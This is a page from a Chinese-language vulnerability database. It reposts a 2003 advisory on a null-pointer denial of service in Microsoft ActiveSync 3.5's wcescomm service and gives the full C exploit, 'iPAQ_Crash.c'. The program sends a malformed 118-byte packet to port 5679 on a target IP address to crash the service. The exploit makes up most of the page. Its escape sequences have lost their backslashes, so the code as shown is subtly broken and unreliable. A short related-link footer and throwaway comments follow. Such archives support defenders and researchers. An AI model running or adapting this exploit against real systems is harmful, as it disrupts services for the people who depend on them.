Microsoft ActiveSync 3.5 – Null Pointer Dereference Denial of Service
漏洞ID | 1053773 | 漏洞类型 | |
发布时间 | 2003-03-20 | 更新时间 | 2003-03-20 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Windows | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7150/info
A problem with ActiveSync could make it possible for remote users to trigger a denial of service.
It has been reported that under some circumstances, the ActiveSync wcescomm service can be forced to crash. Due to improper handling of some requests, the wcescomm process becomes unstable. This can result in the process crashing, requiring a manual restart to resume service.
/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#define ASYNC_PORT 5679
int main(int argc, char **argv)
{
unsigned char sendBuf[] =
/* Correct Header */
//"x00x00x00x00" /* Correct start of packet - by removing these 4
bytes the crash occurs */
"x6ex00x00x00" /* Length of the rest of the packet */
"x24x00x00x00"
"x03x00xa3x2b"
"x11x0ax00x00"
"x00x00x00x00"
"xc3x1dxddx0c" /* 0xc31ddd0c Device Identifier */
"x00x00x00x00"
"x24x00x00x00" /* 0x24 pointer to "Pocket_PC" */
"x38x00x00x00" /* 0x38 pointer to "PocketPC" */
"x4ax00x00x00" /* 0x4a pointer to "Compaq iPAQ H3800" */
/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */
"x50x00x6fx00x63x00x6bx00x65x00x74x00"
"x5fx00x50x00x43x00x00x00x50x00x6fx00x63x00x6bx00"
"x65x00x74x00x50x00x43x00x00x00x43x00x6fx00x6dx00"
"x70x00x61x00x71x00x20x00x69x00x50x00x41x00x51x00"
"x20x00x48x00x33x00x38x00x39x00x30x00x00x00";
struct sockaddr_in servAddr;
int s;
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.n");
WSACleanup();
exit(1);
}
if (argc != 2)
{
printf ("niPAQ_Crashn");
printf ("nUsage: %s <target IP address>n",argv[0]);
exit (1);
}
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
servAddr.sin_port = htons(ASYNC_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));
printf("Sending packet...");
if ( send(s, sendBuf, 118, 0) == 0)
{
printf("Error sending packet...quittingnn");
exit (0);
}
closesocket(s);
return(0);
}
相关推荐: Multiple Vendor mtr Vulnerability
Multiple Vendor mtr Vulnerability 漏洞ID 1104288 漏洞类型 Boundary Condition Error 发布时间 2000-03-03 更新时间 2000-03-03 CVE编号 N/A CNNVD-ID N/…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666